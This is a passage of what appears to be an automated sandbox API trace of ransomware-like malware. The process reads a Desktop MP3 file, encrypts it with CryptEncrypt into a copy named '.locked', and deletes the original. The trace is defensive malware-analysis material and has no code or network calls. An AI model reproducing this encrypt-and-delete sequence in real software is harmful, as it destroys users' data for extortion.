ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.553] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99ada20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0127.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf14) returned 1 [0127.553] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0127.553] GetFileType (hFile=0x868) returned 0x1 [0127.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf10) returned 1 [0127.553] GetFileType (hFile=0x868) returned 0x1 [0127.554] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.554] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe340\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0127.554] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.554] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.554] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.555] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ada20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3.locked", lpFilePart=0x0) returned 0x33 [0127.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf14) returned 1 [0127.555] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0127.555] GetFileType (hFile=0x858) returned 0x1 [0127.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf10) returned 1 [0127.556] GetFileType (hFile=0x858) returned 0x1 [0127.556] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.556] CryptGenRandom (in: hProv=0x8e02360, dwLen=0x10, pbBuffer=0x691a73c | out: pbBuffer=0x691a73c) returned 1 [0127.557] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.557] CryptDuplicateKey (in: hKey=0x8e84f38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae64c | out: phKey=0x99ae64c*=0x8e84a78) returned 1 [0127.557] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.557] CryptSetKeyParam (hKey=0x8e84a78, dwParam=0x4, pbData=0x691b9f8*=0x1, dwFlags=0x0) returned 1 [0127.557] CryptSetKeyParam (hKey=0x8e84a78, dwParam=0x1, pbData=0x691b9c4, dwFlags=0x0) returned 1 [0127.557] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\xe280\x99a\x18b2\x7477\x120\x438\x24a") returned 0x0 [0127.557] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.558] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.558] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.558] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.558] ReadFile (in: hFile=0x868, lpBuffer=0x691f01c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae65c, lpOverlapped=0x0 | out: lpBuffer=0x691f01c*, lpNumberOfBytesRead=0x99ae65c*=0x133e5, lpOverlapped=0x0) returned 1 [0127.559] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6933028*, pdwDataLen=0x99ae650*=0x133e0, dwBufLen=0x133e0 | out: pbData=0x6933028*, pdwDataLen=0x99ae650*=0x133e0) returned 1 [0127.559] WriteFile (in: hFile=0x858, lpBuffer=0x691a7fc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae634, lpOverlapped=0x0 | out: lpBuffer=0x691a7fc*, lpNumberOfBytesWritten=0x99ae634*=0x1000, lpOverlapped=0x0) returned 1 [0127.560] WriteFile (in: hFile=0x858, lpBuffer=0x6934014*, nNumberOfBytesToWrite=0x123f4, lpNumberOfBytesWritten=0x99ae634, lpOverlapped=0x0 | out: lpBuffer=0x6934014*, lpNumberOfBytesWritten=0x99ae634*=0x123f4, lpOverlapped=0x0) returned 1 [0127.561] ReadFile (in: hFile=0x868, lpBuffer=0x691f01c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae65c, lpOverlapped=0x0 | out: lpBuffer=0x691f01c*, lpNumberOfBytesRead=0x99ae65c*=0x0, lpOverlapped=0x0) returned 1 [0127.561] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x694642c*, pdwDataLen=0x99ae6a4*=0x10, dwBufLen=0x10 | out: pbData=0x694642c*, pdwDataLen=0x99ae6a4*=0x10) returned 1 [0127.561] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6946460*, pdwDataLen=0x99ae6ac*=0x0, dwBufLen=0x10 | out: pbData=0x6946460*, pdwDataLen=0x99ae6ac*=0x10) returned 1 [0127.561] WriteFile (in: hFile=0x858, lpBuffer=0x691a7fc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae67c, lpOverlapped=0x0 | out: lpBuffer=0x691a7fc*, lpNumberOfBytesWritten=0x99ae67c*=0x10, lpOverlapped=0x0) returned 1 [0127.561] CloseHandle (hObject=0x858) returned 1 [0127.564] CloseHandle (hObject=0x868) returned 1 [0127.564] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0127.565] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.565] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.565] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.565] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.566] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3")) returned 0x20 [0127.566] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99ade54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0127.567] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0127.567] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0127.567] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0127.567] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0127.567] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0127.567] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0127.567] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0127.567] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0127.567] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0127.567] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0127.567] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0127.567] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0127.568] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0127.568] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0127.568] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0127.568] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0127.568] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3")) returned 0x20 [0127.568] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99adddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0127.568] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0127.568] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99adf18, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0127.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3d8) returned 1 [0127.569] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99adee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0127.569] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3\\", nBufferLength=0x105, lpBuffer=0x99adeb4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3\\", lpFilePart=0x0) returned 0x2d [0127.569] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3\\*", lpFindFileData=0x99ae100 | out: lpFindFileData=0x99ae100) returned 0xffffffff [0127.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae39c) returned 1 [0127.569] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0127.569] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0127.569] CoTaskMemFree (pv=0x8ebb8c8) [0127.570] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3")) returned 0x20 [0127.570] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99adea4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0127.570] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99ade20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0127.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae2fc) returned 1 [0127.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3"), fInfoLevelId=0x0, lpFileInformation=0x69580c4 | out: lpFileInformation=0x69580c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a2b3960, ftCreationTime.dwHighDateTime=0x1d4a341, ftLastAccessTime.dwLowDateTime=0x1bd5f7d0, ftLastAccessTime.dwHighDateTime=0x1d4a804, ftLastWriteTime.dwLowDateTime=0x1bd5f7d0, ftLastWriteTime.dwHighDateTime=0x1d4a804, nFileSizeHigh=0x0, nFileSizeLow=0x133e5)) returned 1 [0127.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae2f8) returned 1 [0127.570] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3")) returned 1 [0127.572] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.573] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\xda00\x8df") returned 0x0 [0127.573] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.573] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.573] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.574] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3.locked")) returned 0x20 [0127.574] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3.locked")) returned 0x20 [0127.574] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf0c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3.locked", lpFilePart=0x0) returned 0x33 [0127.574] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3.locked", nBufferLength=0x105, lpBuffer=0x99aded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3.locked", lpFilePart=0x0) returned 0x33 [0127.575] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.575] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0127.576] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.576] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.576] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.576] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.578] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.579] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.579] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.579] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.579] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.581] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, 